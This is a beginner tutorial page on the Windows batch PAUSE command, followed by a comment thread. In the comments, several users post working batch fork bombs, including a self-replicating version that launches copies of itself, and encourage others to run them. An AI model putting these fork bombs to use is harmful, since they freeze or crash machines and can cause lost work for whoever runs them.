Slightly More Advanced Basic Batch

Step 3 PAUSE Command

In the last stop, you may have seen me use the PAUSE command.

I mainly use this command so that the Command Prompt will stay open long enough for a user to read the ECHO.

If you have been using Batch, as you should be, you will have noticed that the Command window will close automatically if the Batch is not run from the Command Prompt itself.

The {{{
PAUSE
}}} comes in handy in these situations.

It does as its name implies! It Pauses until the user has pressed any key.

As said before, I use this to keep the Command Prompt open so people can freak out about the messages they see. ;-)

Comments

[Izzyz]

Type This In One It's A MAJOR FORK BOMB if you use it you will have to shut down the computer by holding the button for four seconds or unplug the computer here it is: :top start start start start start start start goto top

[totos]

that one is really esy to kill.
you just have to kill one process and it stops.
the cmd windows don't do nothing
but if u make something like this:

set x=%0
:top
start %x%
goto top

it will be a much more evil one and harder to kill because EACH new program will replicate making new programs that make new programs that make new programs that make new programs that make new programs that ma.............

so to stop this one you should kill ALL the bombs in one time which is really hard to do...

[kroq-gar78]

don't put a lot of starts. there is no difference between lots of starts and 1 start if it is recursion

[Pie Ninja]

No you don't, just press the pause/break button, then hold down alt+f4.

[kroq-gar78]

i think it focuses to the newly created window automatically, so i think that won't work

[NetworkNinja]

This is all you need for a killer fork bomb: @echo off :bomb start goto bomb the @echo off disables showing tour commands :D you also only need one "start" cuz it infinitely loops

[Files]

Not really a fork bomb...

[kroq-gar78]

then what is a fork bomb If the above one isn't? A fork bomb is a denial of service attack by creating a process that "forks" another process, therefore recursively creating an "infinite" amount of processes until the computer/device hangs,freezes, or crashes.

this is NetworkNinja's code:
:bomb
start
goto bomb

[karmakid732]

another fork bomb @echo off :start start /MAX CMD GOTO :start

[NetworkNinja]

Whats the command to delay the next command for a specified amount of time, then continue?

[Izzyz]

ping localhost -n 1 >nul is the command that will make it pause, change the
ping localhost -n 1 >nul 1 to 2 for a quicker pause 3 for a fast pause etc

[kroq-gar78]

wouldn't that not work if you're not connected to internet?

[kroq-gar78]

oh, my bad, i didn't see that is said 'localhost'

[karmakid732]

isnt it the other way around 1 is short and the higher you go it will get longer

[kroq-gar78]

isn't that what he said?

[UMAIRJAFFRY786]

ANOHTER NAME OF PAUSE?

[will421]

• Don`t type in ALL CAPS LIKE THIS, that`s shouting on the Net.
• How about pause>nul?